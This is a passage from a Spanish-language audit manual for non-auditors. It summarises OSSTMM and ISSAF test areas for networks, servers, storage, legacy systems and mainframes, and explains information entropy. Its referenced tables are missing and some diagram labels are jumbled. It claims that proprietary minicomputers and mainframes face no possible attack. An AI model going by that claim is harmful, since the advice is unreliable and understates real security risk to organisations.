OSSTMM se desarrolla con preocupación por la legislación importante, los requisitos contractuales y la conformidad de las normas. Como no todos los objetivos de cumplimiento se crean por igual, el principal objetivo de la OSSTMM es la seguridad. Las medidas de cumplimiento que requieren productos o servicios específicos, comerciales o de otra índole. Sin embargo, en realidad puede ser un desperdicio de recursos o una versión menor de seguridad de lo que se desea. Que un objetivo de cumplimiento puede requerir un producto específico en absoluto debe ser ilegal por sí mismo.

Página 401 de 430

Manual de Auditoria para no Auditores Dado que la legislación y la reglamentación pueden ser objeto de auditoría, según la letra de la ley o el espíritu de la ley, dependiendo del órgano de auditoría, probando la protección operativa y los controles apropiados y válidos que puedan ser probados por una prueba OSSTMM pueden o no ser satisfactorio. Nota del autor. - El resto del Manual de OSSTMM V3 de 2010 no se ha traducido dado que es la aplicación STAR para realizar informes, y no objeto de libro centrarse herramientas específicas para la realización de informes, dado que se puede realizar y obtener a partir de herramientas tipo ETL y generadores convencionales de informes o incluso a través de suite ofimáticas convencionales. Lo que nos importa de la Metodología OSSTMM 3 es que está orientada y fue diseñada para sistemas de telecomunicaciones y que incluía por primera vez un capítulo específico dedicado a Recursos Humanos como tales y es la primera metodología que habla de un compliance en general. Por eso se ha incluido en este manual de auditoria para no auditores.

Página 402 de 430

Manual de Auditoria para no Auditores

Capítulo 25. Manos a la obra, la parte práctica. Cómo se debe llevar a cabo para que sirva para lograr la certificación. Tras haber nos concienciado de la importancia de la certificación, de sus implicaciones: económicas, jurídicas y sociales ahora habiendo creando un clima propicio, llega la fase de observación, recopilación de datos (siguiendo una metodología) el análisis, los informes y la priorización de los diferentes hallazgos de acuerdo al impacto, que suponen para cada uno de los niveles organizativos que contempla dentro de si y esto depende del tipo de negocio, de su inter relación con el medio incluyendo socios y clientes por la vía de los productos, los servicios o un mix de ambos. Dado que esta la parte de la Auditoria más próxima a la tecnología y dado que todos los sistemas están obligados de forma táctica, a cumplir lo que las leyes establecen y en caso de discrepancias a cumplir lo que se conoce: como principios generales aceptados, será bueno al menos tener al menos una referencia metodología que nos ayude como lo han hecho hasta ahora la ISO / IEC 27007 y la OSSTMM3 en caso vamos a seguir lo señalado por un marco de trabajo conocido como ISSAF. Hay que tener en cuenta que si bien los entornos conocidos (veteranos) son los que suelen ofrecer un menor número de hallazgos de alto riesgo, debido a la propia trayectoria de los mismos y dado que las empresas, en su vertiente tecnológica, tiende a ser conservadores por naturaleza y por fidelidad al principio de “si funciona ¡¡ no lo toques !!” Lo primero que debemos disponer es un mapa completo de sistemas con activos físicos y lógicos, valorados desde el punto de vista del riesgo económico entendido como impacto y desde el punto de vista legal repercusiones jurídicas y otras entiéndase reputación. Dentro de ese mapa nuestro análisis debería centrarse en los sistemas más expuestos, al intercambio de información mediante aplicaciones Web y que utilizan Internet como canal de comunicación y difusión, por ello deberíamos orientar nuestro conjunto de pruebas hacia la utilización de OWASP y OSSTMM3 como metodologías y como refuerzo de esto los siguientes epígrafes del manual de ISSAF que exponemos a continuación:

Página 403 de 430

Manual de Auditoria para no Auditores

Como se puede observar y deducir hay una gran cantidad de pruebas a realizar sin entrar el código de fuente de las aplicaciones, que como hemos señalado utilizan Internet que deben ser tenidas en cuenta desde el inicio excluyendo el código fuente, que tiene su propia parcela que abordaremos más adelante. Aquí se hace un recordatorio a que previamente habremos detectado y verificado las vulnerabilidades relacionadas con el Hardware y Software sobre él que se apoyan estas aplicaciones. Pero antes debemos tener presente las siguientes consideraciones como norma de carácter general. Página 404 de 430

Manual de Auditoria para no Auditores

Hay que tener en cuenta que Microsoft por ejemplo ha abandonado la tecnología de Internet Explorer, pero que algunas Webs aún son incompatibles con Microsoft Edge©®, es seguro, que sólo aquellas que ofrezcan servicios de valor añadido real para ambas partes Proveedores y Clientes migraran hacia la compatibilidad con MS-Edge, aunque también hay que decir que Google con Chrome©® y sus versiones derivadas como Opera, etc tienen cada día mayor cuota de mercado en detrimento de Edge. En cuanto a los temas de correo electrónico, muchas empresas han optado por Clientes de Correo Electrónico ligeros, que no están vinculados a ninguna suite ofimática en particular, otra cuestión son los sistemas de intercambios de mensajes multiformato donde Exchange©® y Lotus Notes©® se disputan el mercado. Una vez hemos tenido presente la parte expuesta de nuestra infraestructura cara al público general (clientes potenciales) y clientes asiduos, nos queda la parte relativa a proveedores en general y trabajadores temporales vinculados a la empresa y que nos están incorporados físicamente en la estructura de la empresa, pero que desempeñan funciones, a veces críticas, que se conectan mediante diversas tecnologías de forma directa (VPN / WLAN) o indirecta con mediación de un tercero (MAN / WAN) y que deben recibir el mismo trato de análisis que un cliente potencial o un teletrabajador. Veamos que recomendaciones debemos seguir para las tecnologías (VPN / WLAN) según ISSAF.

En relación con la tecnología WLAN (Wireless Local Area Network WIFI) recomendaciones que se formulan para valorar la seguridad de la infraestructura serían las siguientes: Página 405 de 430

Manual de Auditoria para no Auditores

Por supuesto esta enumeración de pruebas sigue siendo válida, aunque las tecnologías hayan evolucionado puesto que mientras: los fabricantes proponen el mercado; es quien acaba definiendo lo que se conoce como estándares de facto, que no coinciden la mayoría de las veces, con los propuestos por los fabricantes, ni por las instituciones oficiales. Además, volvemos a recodar el principio conservador de ¡sí funciona no lo toques! Por eso no es de extrañar que tecnologías consideradas <> estén aún presentes en pequeñas y medianas empresas, que no puede abordar ni migraciones de hardware, ni de software y por supuesto de desarrollo a medida, por la inversión y el riesgo que supone frente a infraestructuras físicas y lógicas que ya conocen y dado que muchas de ellas, no quieren transferir a un tercero su información, ni sus estructuras de gestión y de conocimiento, aun siendo muy conscientes del riesgo que ello implica utilizando tecnología obsoleta en determinados sectores y actividades. En la mayoría de las ocasiones optan por un respaldo completo y un respaldo diferencial como mejor medida de salvaguardia. Abordemos ahora dos temas importantes además de la seguridad vinculada a aplicaciones Web y conectividad con terceros vía Internet, hay otros dos aspectos muy importantes a tener presentes, teniendo presente a los que ya no sólo acceden y buscan descargar información y mensajes, si no los que además deben depositar información; con lo que nos adentramos en la problemática de los sistemas de almacenamiento en red (precursores de la actual Nube) y que muchas empresas medianas, tienen como infraestructura física y lógica propia denominados SAN y para los que ISSAF nos da las siguientes recomendaciones a tener presente:

Página 406 de 430

Manual de Auditoria para no Auditores Además debemos tener presente que los SAN deben tener una fuertes medidas de cuarentena, para aquellas zonas donde los terceros, deban alojar documentos y objetos de diversa naturaleza, dado que pueden existir ataques del tipo caballo de Troya, que pueden ser construidos por partes y enviados para ser ensamblados de forma silenciosa en destino final, para crear un backdoor por donde acceder y robar información valiosa, o como un punto de asalto desde donde poder explorar otras zonas con información más valiosa, por ello debemos tener presente las estrategias relativas a los antivirus que son las siguientes:

En este conjunto de pruebas es donde, pueden aparecer más falsos positivos debido a que los motores de los antivirus como los motores de los IDS, necesitan tiempo para obtener información relevante sobre el comportamiento de ciertos objetos, que muchas veces pueden ser interpretados como código malicioso sin llegar a serlo. En cuanto a los IDS / IPS ISSAF señala como pruebas guía las siguientes:

Hay que señalar que estos patrones aplicados a Clientes asiduos, proveedores y teletrabajadores no excluyen para nada que se apliquen a los trabajadores internos / personal externos en régimen de prestación de servicios, siempre y cuando para estos se añada reingeniería social.

Página 407 de 430

Manual de Auditoria para no Auditores Se debe tener muy presente que además del mantenimiento habitual o rutinario es necesario el compartir información que alimente y genere nuevos modelos de comportamientos sospechosos o anómalos, pues mientras se hace un enorme esfuerzo por atajar / bloquear / paralizar o cuarentinizar los ataques externos, los ataques internos pueden ser tan dañinos o más que los externos, por realizarse de forma silenciosa y porque un ataque externo es muy improbable que no fructifique por sí mismo, sin fuentes que nos faciliten pistas o indicios. Según el FBI el 80% de los delitos tecnológicos tienen una componente interna necesaria y sino véase el caso WikiLeaks, así como el caso de Snowden que demostraron a todas luces el peligro que supone, el no detectar a tiempo comportamientos sospechosos o anómalos, como la falta de medidas de custodia y cifrado para datos especialmente sensibles, con lo que ello supone. Aquí cabría añadir además de lo señalado para IPS / IDS y la tecnología Antivirus, hay una nueva tecnología importante como es la DLP Data Loose Prevention cuya definición es la siguiente: La prevención de pérdida de datos (DLP) es una estrategia para asegurarse de que los usuarios finales no envían información sensible o crítica fuera de la red corporativa. El término también se utiliza para describir productos de software que ayudan a un administrador de red a controlar qué datos pueden transferir los usuarios finales. La adopción de DLP, también llamada prevención de fuga de datos, prevención de pérdida de información o prevención de extrusiones, está siendo impulsada por amenazas internas y por leyes estatales de privacidad más rigurosas, muchas de las cuales tienen estrictos componentes de protección de datos o de acceso. Los productos de software de DLP utilizan reglas de negocio para examinar el contenido de los archivos y etiquetar la información confidencial y crítica, para que los usuarios no pueden divulgarla. El software puede ser útil para identificar y etiquetar contenido bien definido (como los números de Seguro Social o de tarjetas de crédito), pero tiende a quedarse corto cuando un administrador está tratando de identificar otros datos sensibles, tales como los de propiedad intelectual. Para implementar con éxito el software DLP corporativo, se necesita involucrar activamente a personal de todos los niveles de gestión en la creación de las reglas de negocio para las etiquetas. Una vez que las herramientas de software DLP han sido implementadas, un usuario final que intente, de manera accidental o malintencionada, revelar información confidencial que ha sido etiquetada, será repudiado. Además de ser capaces de monitorear y controlar las actividades de punto final, las herramientas de DLP también pueden ser utilizadas para filtrar flujos de datos en la red corporativa y proteger los datos en reposo. Extraído de TechTarget en DataCenter Search en español cuya autora es Margaret Rouse de WhatIS.com.

Página 408 de 430

Manual de Auditoria para no Auditores A esto debemos añadir como complemento para ser rigurosos toda la parte de pruebas de Código Fuente, pues en muchos casos es lo que recibimos de teletrabajadores o administradores de sistemas en remoto, que necesita ser verificado antes de ser transferido desde la zona de cuarentena, allí donde tenga que ser aplicado (ejecución de script) bien integrado en algún componente de mayor envergadura. La propuesta de ISSAF para esta sección en particular es la siguiente:

Esto siempre y cuando estemos hablando de ficheros convencionales excluyendo cualquier formato de base de datos, si hay bases de datos entonces a estas pruebas habrá de añadirse las siguientes, teniendo en cuenta que las que se citan y estamos hablando de una metodología formulada en 2006 y estamos en 2017 han evolucionado de forma notable y han aparecido una nueva familia de base de datos, la no orientadas a SQL, con lo cual estas reglas, no se aplicables a estas últimas, veamos las reglas propuestas a manera de referencia que debe adaptarse a cada versión posterior a 2006.

A esto debemos añadir lo señalado para el código fuente y añadir todo lo relativo a pruebas de inyección SQL, no sólo se deben tener presentes para los ataques externos, dado que el número de barreras que deben sobrepasarse es importante al menos: un firewall, un IDS/IPS, y por supuesto el sistema de seguridad del propio motor de la Base de Datos, en la mayoría de las organizaciones los usuarios internos sólo han de sortear el sistema de seguridad Página 409 de 430

Manual de Auditoria para no Auditores del motor de la Base de Datos y los Derechos de Acceso a las unidades de red que contienen permisos específicos para acceder al mismo, al motor de la Base de Datos, en algunas organizaciones además de estos los derechos de acceso a dicho motor y otros recursos críticos se gestionan a través de las VLANs y los Switches e incluso con sistemas de gestión de identidades que pueden incluir datos biométricos. Para concluir con la parte de gestión de la seguridad relacionada con terceros ya sean Clientes asiduos, Proveedores o Teletrabajadores nos resta hablar de las reglas de pruebas que debería seguirse además de las ya citadas que comprenden los siguientes elementos:

Todos sin excepciones han de pasar en algún momento por este dispositivo, que ha evolucionado llegando a fusionarse en la actualidad con el firewall, por lo que las reglas anteriores más las propias del firewall, pueden en la actualidad considerarse un conjunto único Router-Firewall y en un futuro próximo es posible mediante la evolución de las actuales soluciones de virtualización, añadir incluso un tercer grupo de funcionalidades, que ya hemos mencionado que son las relativas a los IDS / IPS pero sin IA siendo esto una función privativa de las herramientas SEM / SIEM ya que requiere alta capacidad de proceso y gestionar con fluidez grandes volúmenes de E/S. Veamos las reglas propuestas para el Firewall.

Hay que señalar que al menos que además del Firewall como dispositivo físico de comunicaciones, hay una tendencia natural a transformarlo en un rol de una Página 410 de 430

Comentado [P1]: Inteligencia Artificial

Manual de Auditoria para no Auditores maquina dedicada a funciones de seguridad avanzada, como fuente de datos de la maquina o maquinas que soportan la función SEM/SIEM a veces incluso previa la transferencia de datos a las maquinas SEM/SIEM se emplean maquinas virtualizadas o físicas que ejecutan funciones de análisis de tipo BIG DATA, para muy altos volúmenes transaccionales. Siempre debemos tener presente que nuestra infraestructura física y lógica deben de operar con el mismo número de medidas de seguridad tanto hacia el ámbito externo como interno para garantizar una aplicación de las dimensiones relativas a la Seguridad de la Información según la presente ilustración.

Para completar toda la temática de las redes, hablaremos de los Switches dado que, en los últimos tiempos, han pasado de ser simples conmutadores de puertos y tramas a convertirse en un elemento de la seguridad activa-pasiva de la red. La evolución de Switches 3Com Networks, HP en la actualidad y Cisco han jugado un papel trascendente, al crear estándares de seguridad que operan en el nivel 2 y 3 creando un modelo funcional de tres niveles, ahí la importancia de gestionar y garantizar correctamente que quien se conecte físicamente a la red este donde este, y sí se trata de un intruso, sea detectado lo antes posible. Según el fabricante de Hardware y Software de Networking Cisco toda red se puede ver como una prolongación de la propia organización hacia las organizaciones de los Clientes, Socios y Proveedores mediante redes convergentes, lo que supone mayores compromisos al compartir, no sólo estructura, sino información sensible de ahí la importancia de la monitorización. Cisco establece tres capas que son las siguientes y desarrollan estas funciones: Capa de acceso La capa de acceso de la red es el punto en el que cada usuario se conecta a la red. Ésta es la razón por la cual la capa de acceso se denomina a veces capa de puesto de trabajo, capa de escritorio o de usuario. Los usuarios, así como los Página 411 de 430

Manual de Auditoria para no Auditores recursos a los que estos necesitan acceder con más frecuencia, están disponibles a nivel local. El tráfico hacia y desde recursos locales está confinado entre los recursos, switches y usuarios finales. En la capa de acceso podemos encontrar múltiples grupos de usuarios con sus correspondientes recursos. En muchas redes no es posible proporcionar a los usuarios un acceso local a todos los servicios, como archivos de bases de datos, almacenamiento centralizado o acceso telefónico al Web. En estos casos, el tráfico de usuarios que demandan estos servicios se desvía a la siguiente capa del modelo: la capa de distribución. Capa de distribución La capa de distribución marca el punto medio entre la capa de acceso y los servicios principales de la red. La función primordial de esta capa es realizar funciones tales como enrutamiento, filtrado y acceso a WAN. En un entorno de campus, la capa de distribución abarca una gran diversidad de funciones, entre las que figuran las siguientes: • Servir como punto de concentración para acceder a los dispositivos de capa de acceso. • Enrutar el tráfico para proporcionar acceso a los departamentos o grupos de trabajo. • Segmentar la red en múltiples dominios de difusión / multidifusión. • Traducir los diálogos entre diferentes tipos de medios, como Token Ring y Ethernet • Proporcionar servicios de seguridad y filtrado. La capa de distribución puede resumirse como la capa que proporciona una conectividad basada en una determinada política, dado que determina cuándo y cómo los paquetes pueden acceder a los servicios principales de la red. La capa de distribución determina la forma más rápida para que la petición de un usuario (como un acceso al servidor de archivos) pueda ser remitida al servidor. Una vez que la capa de distribución ha elegido la ruta, envía la petición a la capa de núcleo. La capa de núcleo podrá entonces transportar la petición al servicio apropiado. Capa de Núcleo La capa del núcleo, principal o Core se encarga de desviar el tráfico lo más rápidamente posible hacia los servicios apropiados. Normalmente, el tráfico transportado se dirige o proviene de servicios comunes a todos los usuarios. Estos servicios se conocen como servicios globales o corporativos. Algunos de tales servicios pueden ser e-mail, el acceso a Internet o la videoconferencia. Cuando un usuario necesita acceder a un servicio corporativo, la petición se procesa al nivel de la capa de distribución. El dispositivo de la capa de distribución envía la petición del usuario al núcleo. Este se limita a proporcionar un transporte rápido hasta el servicio corporativo solicitado. El dispositivo de la Página 412 de 430

Manual de Auditoria para no Auditores capa de distribución se encarga de proporcionar un acceso controlado a la capa de núcleo. Como es lógico tanto: la capa de acceso, como la capa de distribución, debe contar con fuertes medidas de protección: tanto lógica, detección y alarma a los administradores de redes, como de seguridad física videovigilancia y control de accesos. La ISSAF nos recomienda respecto a los switches tener presente las siguientes medidas:

Ahora vamos a tratar un elemento que en los últimos 20 años de historia de la informática ha evolucionado, quizás de forma más espectacular, gracias al desarrollo de los PCs de altas prestaciones las redes locales. Durante muchos años las pequeñas y medianas empresas realizaban sus gestiones gracias a las LANs, dado que eran muy pocas las empresas que podían acceder a adquirir un Miniordenador y menos un Mainframe. Cuando las redes locales empezaron hubo desde el principio dos grandes fabricantes de sistemas operativos de red y muchas intentonas que fracasaron, pero que no por ello deben ser olvidadas. Por ejemplo, IBM creo su propio sistema operativo conocido como OS/2 juntamente con 3Com Networks, y Microsoft, pero no fraguo debido a que IBM sólo estaba interesada en proteger sus mainframes de la tendencia del” Downsize”, ya que el Mainframe se convertía en un simplemente en un elemento de almacenamiento NAS / SAN. Página 413 de 430

Manual de Auditoria para no Auditores Por otra parte, Digital Equipment Corporation, desarrollo una parte de su arquitectura de red DecNet©® que permitía el uso de PCs con CPM (Digital Research), con MS-DOS (Microsoft), con Xenix también de Microsoft, en muchos sentidos precursor del actual Linux. 3Com Networks decidió abandonar a IBM y a su proyecto OS/2 y aliarse con Microsoft vía LAN- Manager lo que dio lugar a 3+Open que además incluía soporte para Apple Macintosh, esto permitió a Microsoft no sólo tener el monopolio de los sistemas operativos de PCs, si no el principio para ampliar y mejorar y desarrollar desde LAN-Manager y sus siguientes versiones de sistemas operativos de red los Windows Server actuales en sus sucesivas versiones. Mientras surgió un compañía denominada Novell que diseño e implanto con éxito el primer NOS-LAN real que fue Novell-Netware©® que aún continua operativo en determinadas empresas y ámbitos de trabajo que no requieren interface gráfico, que permitía compartir archivos e impresoras mediante una regulación de derechos muy similar a la de Unix y que tuvo una gran aceptación entre las pequeñas y medianas empresas, convirtiéndose junto con LAN-Manager primero y Windows Server después en el estándar de las arquitecturas de red, en la actualidad las redes empresariales se reparten entre Microsoft y sus versión Windows Server y las diferentes versiones de Linux. 3Com fue adquirida por HP al igual que ocurrió con DEC y Compaq. Novell-Netware dejo el mundo de las redes locales compatibles con clientes Microsoft para situarse en una posición más próxima al mundo Unix creando Unixware©® la evolución desde Netware©® pero orientada a crear entornos Unix distribuidos, y luego creo sus propias versiones de Linux tanto para Clientes como para Servidores conocidas como OpenSuse©® que continúan desarrollándose y que tienen su propio público. ISSAF nos da estas pautas para los entornos Novell- Netware.

Debe entenderse que cuando se refiere a Linux estamos hablando siempre de las versiones Servidor dado que los Clientes (Estaciones) tanto en Linux como en Windows, tienen sus propias técnicas de protección que se conocen como bastionado Cliente y bastionado Server y que evolucionan, casi a la par que las versiones de los sistemas operativos Clientes, sobre las que se aplican. En lo referente a Windows Server ISSAF señala:

Página 414 de 430

Manual de Auditoria para no Auditores

Hay que señalar que se debe tener presente que Windows Server y sus Clientes W7, W8, W10 incorporan sus propios firewalls que deben disponer de reglas complementarias a las reglas implantadas en los firewalls de Red y los IDS / IPS si existen en la Red, en cuanto Novell-Netware©®

Al final de este mismo capítulo veremos un esquema gráfico que nos ayudará a comprender mejor los diferentes de niveles de seguridad donde realizar pruebas significativas, cómo nos ayuden a descubrir vulnerabilidades, tanto externas como internas, a las que habremos de hacer frente mediante un plan de acción especifico, para erradicarlas si es posible, mitigar las si la erradicación no es posible, antes del siguiente ciclo de Auditoria Interna / Externa. Al igual que hemos hablado de Novell-Netware©® y teniendo en cuenta que estamos trabajando con una metodología del año 2006 también hay un capítulo dedicado a los Miniordenadores, muchas empresas además de sus redes locales decidieron adquirir o alquilar Miniordenadores para determinado tipo de trabajos, en España proliferaron mucho un tipo de Miniordenador de IBM denominado AS400 que tanto en España como en otros muchos países del Este de Europa se continua utilizando y también ISSAF nos da pautas respecto a este entorno de forma orientativa siempre.

Página 415 de 430

Manual de Auditoria para no Auditores

Como se puede observar puede observar el número de pruebas que requiere este entorno es elevado, pero también presenta una ventaja y es que al tratarse de Hardware cuya evolución es casi inexistente y su Software estar diseñado de manera expresa para él mismo, requiere mínimas revisiones durante largos periodos de tiempo, un intervalo considerado como valido para este tipo de entorno podría ser entorno a los 5 años. Lo mismo es aplicable a los DigitialVax/PDPs, los HP-MPV, etc…y casi cualquier ordenador cuya arquitectura responda a la denominación de arquitectura propietaria. La probabilidad de un ataque es inexistente dado que es imposible replicar su estructura física y lógica, salvo que se simule y ello requiere conocimientos profundos que salvo el propio constructor nadie posee. Y para concluir claro esta hay que hablar de los Mainframe, Hosts los monstruosos sagrados de muchas organizaciones que siguen estando presente dado que su arquitectura propietaria como ocurre con los Miniordenadores es axioma de seguridad garantizada. Hablamos de los IBM, Fujitsu, NEC, Sun Microsystems, Sillicom Graphcis, Hitachi, Cray y otros muchos que construyeron y diseñaron con propósitos específicos. Para este tipo de arquitectura bastaría con seguir las pautas de seguridad indicadas por el fabricante. Vamos a tratar ahora de sí de explicar mediante un gráfico este conglomerado de pruebas que hemos de hacer desde el punto de vista de evaluar de forma ortodoxa todos los niveles de seguridad que existen en nuestra organización para saber dónde tenemos que focalizar nuestros esfuerzos.

Página 416 de 430

Manual de Auditoria para no Auditores

Servidores Web hhtp /https Servidores IMAP / POP Servidores DHCP Servidores DNS Servidores FTP Servidores Aplicaciones Servidores Impresoras Servidores Backup / Restore Servidores VPN

WINDOWS LINUX MAC

Servidores Windows Linux Netware

ANDROID Mac OS Windows

Servidor AS400

Windows Móvil Android IOS Mac

ROUTER FIREWALL IDS / IPS SEM/SIEM

Servidor Z

Windows Linux MacOS

Servidores NEC Hitachi Cray- SGI- Sun Microsystems HP- DEC – Fujitsu···

Los terminales del lado izquierdo representan todos los SO conocidos y posibles en el año 2017 y en el lado derecho tenemos todos los posibles entornos con los que estos usuarios se pueden comunicar de forma continua o esporádica. Aun reconociendo que es una representación muy simplificada de un entorno muy complejo, en este caso, circunscrito a sistemas de gestión puesto que aquí no estamos incluyendo el Internet de la cosas o IoT, es posible tomar el control de los Servidores de Windows Linux y Netware y desde ahí acceder a otras plataformas por lo que se ha de ser muy sistemático en la exploración de la Seguridad de los Servidores mediante una serie de pruebas que se han de desarrollar en un entorno separado del entorno real, con datos generados o datos reales anonimizados por cumplimiento legal, y estas pruebas deben verificar lo siguiente: Que actuando como un atacante externo, como si se tratará de un atacante interno: 1. No es posible acceder a ninguno de los servidores de la empresa, sino es mediante protocolo seguro y que el acceso es a zonas de información pública o de solicitud de información. Solo se permite la consulta o descarga. No es posible enviar ficheros. 2. Que no es posible mantener la conexión abierta más 120 segundos, si no se es: Teletrabajador, Proveedor, o Cliente asiduo, es decir usuario registrado, que no es posible acceder mediante el uso de protocolos inseguros tales como: TELNET, que no se puede acceder de forma tampoco vía Web, si no es mediante protocolo seguros como HTTPS:// o TLS. 3. Que no es posible acceder más que a las zonas de red y aplicaciones autorizadas. Página 417 de 430

Manual de Auditoria para no Auditores 4. Que no es posible instalar ningún tipo de software desde nuestro terminal en el servidor, ni vía FTP / TFTP. 5. Que las contraseñas, cumplen los patrones de complejidad (solidez) y tienen un ciclo de vida debidamente definido. 6. Que las contraseñas de los Administradores no responden a los patrones conocidos y habituales, que se publican anualmente en Internet. 7. Que ni los usuarios externos autorizados, ni los internos, pueden adquirir privilegios distintos de los establecidos y aprobados con carácter anual. 8. Que las cuentas de usuarios externos e internos se mantienen debidamente actualizadas alta, bajas y modificaciones de puestos que deben estar reflejados en los logs del sistema. 9. Que tanto Seguridad Física, como Seguridad Informática, el Área Jurídica y Recursos Humanos están debidamente sincronizados mediante Fax o por Correo Electrónico. 10. Que todos estos cambios están informados, no sólo los responsables de las áreas ya citadas, sino los responsables directos de las áreas donde el personal va a trabajar con independencia de la forma jurídica que se vaya a utilizar. 11. Muy importante para todas las áreas implicadas en el control de accesos físicos y lógicos, deben recibir y estar definido por escrito y de manera vinculante que se autoriza: la monitorización del puesto de trabajo, esto es: el uso del correo de la empresa, la descarga y subida de informaciones de cualquier clase o tipo, la impresión de documentos y digitalización de los mismos, que se verificará tanto la entrada, como a la salida cualquier información impresa que entre o salga de la empresa, por parte del personal de seguridad física y de control de acceso, que dichas informaciones, si son de salida deben ser autorizadas por el responsable de área, si es de entrada se consultará quien fue el solicitante, el motivo y se tiene conocimiento de este hecho. 12. Queda prohibido la entrada de pen drives, discos duros externos, grabadores de DVD / BR externos, siguiendo la misma pauta que la señalada en el punto 11. 13. Que todo el personal conoce que el incumplimiento de estas normas conlleva sanciones administrativas, económicas e incluso penales si hubiere lugar. Cada una de estas pruebas debe realizarse tanto con una serie clientes externos, como internos desde puestos trabajos habituales. Lo más importante es verificar la imposibilidad de escalar privilegios, introducir cambios no autorizados, hacer uso y abuso de recursos por ejemplo impresiones de gran volumen, verificar el control de accesos a los servidores FTP como patrones básicos. Hay que tener siempre en cuenta que todo el entorno del Cliente debe estar definido desde el entorno servidor y que sólo se puede modificar desde el servidor siempre y cuando se tengan los permisos necesarios y debidamente autorizados por quienes o quienes tenga poder organizativo para hacerlo. Página 418 de 430

Manual de Auditoria para no Auditores

Capítulo 26. Como realizar una investigación técnica de calidad. Aunque a estas alturas, a Ustedes le pueda parecer que somos reiterativos hasta la saciedad, “los malos” estudian y son chicos muy aplicados y al igual que ocurren con todos los sistemas multi parte / multi capa / multi componente en muchos casos, el orden de las cosas, si pueden alterar el producto, dado que es imposible armonizar todos los productos que configuran un servicio y prueba de ello son las estadísticas. Itil ©® que es una metodología orientada a la gestión de servicios de entornos complejos, de ella hemos hablado puesto que se basa en la norma ISO 20000 y la complementa y mejora, atribuye una gran cantidad de fallas del Hardware al error Humano y por ello a errores en la configuración del Software y su traslación al Hardware, en todo y cada uno de los diferentes niveles que componen un sistema. Si utilizamos una metodología llamada COSO cuya es estructura y objetivos son los siguientes según muestra la siguiente ilustración.

Es obvio que como sistema y teoría está muy bien desarrollado e implantado cuando se trata de sistemas informáticos, existe un componente complejo llamado entropía, que tiende a desordenar todo. Veamos en que consiste para comprender mejor como opera. El concepto básico de entropía en teoría de la información tiene mucho que ver con la incertidumbre que existe en cualquier experimento o señal aleatoria. Es también la cantidad de «ruido» o «desorden» que contiene o libera un sistema. De esta forma, podremos hablar de la cantidad de información que lleva una señal. Página 419 de 430

Manual de Auditoria para no Auditores Como ejemplo, consideremos algún texto escrito en español, codificado como una cadena de letras, espacios y signos de puntuación (nuestra señal será una cadena de caracteres). Ya que, estadísticamente, algunos caracteres no son muy comunes (por ejemplo, «w»), mientras otros sí lo son (como la «a»), la cadena de caracteres no será tan "aleatoria" como podría llegar a ser. Obviamente, no podemos predecir con exactitud cuál será el siguiente carácter en la cadena, y eso la haría aparentemente aleatoria. Pero es la entropía la encargada de medir precisamente esa aleatoriedad, y fue presentada por Shannon en su artículo de 1948, A Mathematical Theory of Communication ("Una teoría matemática de la comunicación", en inglés). Shannon ofrece una definición de entropía que satisface las siguientes afirmaciones:

Ejemplos de máxima entropía: Suponiendo que estamos a la espera de un texto, por ejemplo, un cable con un mensaje. En dicho cable solo se reciben las letras en minúscula de la a hasta la z, entonces si el mensaje que nos llega es "qalmnbphijcdgketrsfuvxyzwño" el cual posee una longitud de 27 caracteres, se puede decir que este mensaje llega a nosotros con la máxima entropía (o desorden posible); ya que es poco probable que se pueda pronosticar la entrada de caracteres, pues estos no se repiten ni están ordenados en una forma predecible. Una vez hemos hablado de la entropía veamos como fluye a lo largo de toda y cada una de las capas que componen un sistema de información.

Capa Sistema Operativo Red Identificación / Autenticación Control de Dominio -yRelaciones de Confianza

Capa de Seguridad Router-Firewall-IDS / IPS Switches Antivirus

Capa de Comunicaciones Wan-VPNs-LANs

DATOS

Capa de Comunicaciones Wan-VPNs-LANs

DATOS

Capa Sistema Operativo Local Firewall-Local / Antivirus Local Aplicaciones Autorizadas

Servidores de Aplicaciones Internet / Extranet Capa de Seguridad Código Capa de Seguridad de Datos Capa de Seguridad Servicios

Capa Sistema Operativo Red Identificación / Autenticación Control de Dominio -yRelaciones de Confianza

Capa de Seguridad Router-Firewall-IDS / IPS Switches Antivirus

DATOS,- CIFRADO, NUMERACIÓN, SEGMENTACIÓN, CONVERSION D/A

Servidores de Aplicaciones Internet / Extranet Capa de Seguridad Código Capa de Seguridad de Datos Capa de Seguridad Servicios

VULNERABILIDADES S.O.R / S.O.L. / PRODUCTOS INTERMEDIOS / CODIGOS POLIMORFICOS

Capa Sistema Operativo Local Firewall-Local / Antivirus Local Aplicaciones Autorizadas

VULNERABILIDADES DE S.O.R./S.O.L / PRODUCTOS INTERMEDIOS / CODIGOS POLIMORFICOS



La medida de información debe ser proporcional (lineal continua). Es decir, el cambio pequeño en una de las probabilidades de aparición de uno de los elementos de la señal debe cambiar poco la entropía. Si todos los elementos de la señal son equiprobables (igual de probables) a la hora de aparecer, entonces la entropía será máxima.

CONVERSION A/D, RESAMBLAJE, VERIFICACION-NUMERACION- DESCIFRADO



Capa de Comunicaciones Wan-VPNs-LANs

Entropía en entornos de datos. Página 420 de 430

Manual de Auditoria para no Auditores Cada cuadro representa un conjunto de procesos que desarrollan en un entorno particular, por ejemplo, cada capa tiene su propio sistema de gobierno que puede ser un sistema operativo de red (recibe o transfiere información entre dos sistemas local o remotos) utilizando un conjunto de reglas únicas, que permiten que dos sistemas operativos distintos, compartan información mediante procesos (aplicaciones). Ahora bien, para que esto sea posible además de los sistemas operativos de red, necesitamos dos sistemas operativos locales, y un conjunto de otros programas intermedios que hacen que los usuarios de los dos puntos que comparten una información y la puedan transforman. Bien esos programas intermedios incluyendo los sistemas operativos locales de los dos sistemas participantes, pueden presentar fallos de seguridad, que permitan a un tercer acceder a la información y manipular e incluso hacerse con el control de uno de los sistemas remotos. Esos fallos de seguridad son lo que se conoce como Vulnerabilidades, y se clasifican en las siguientes categorías: De hardware: Vulnerabilidades de hardware tienen que ver son los dispositivos y equipos. En este caso son consideraciones no tomadas en cuenta para el buen funcionamiento de los mismos, por ejemplo; no darle mantenimiento constante al hardware, no verificar que el equipo que se compra cuente con los requerimientos necesarios, entre otros. De software: Las fallas en los sistemas o debilidades en los programas instalados son ejemplos de este tipo de vulnerabilidades. Como su nombre lo dice, se refiere a aquellas relacionadas con el software como errores de programación, o que los protocolos de comunicación carezcan de seguridad. De red: Son todas aquellas vulnerabilidades existentes en la conexión de equipos, por ejemplo: si no existe un control que permita limitar el acceso, se puede penetrar al sistema por medio de la red. También abarca las fallas en la estructura del cableado y el no seguir los estándares recomendados para realizarlo. Humana: Del mismo modo que las amenazas humanas, las vulnerabilidades tienen que ver con las acciones de las 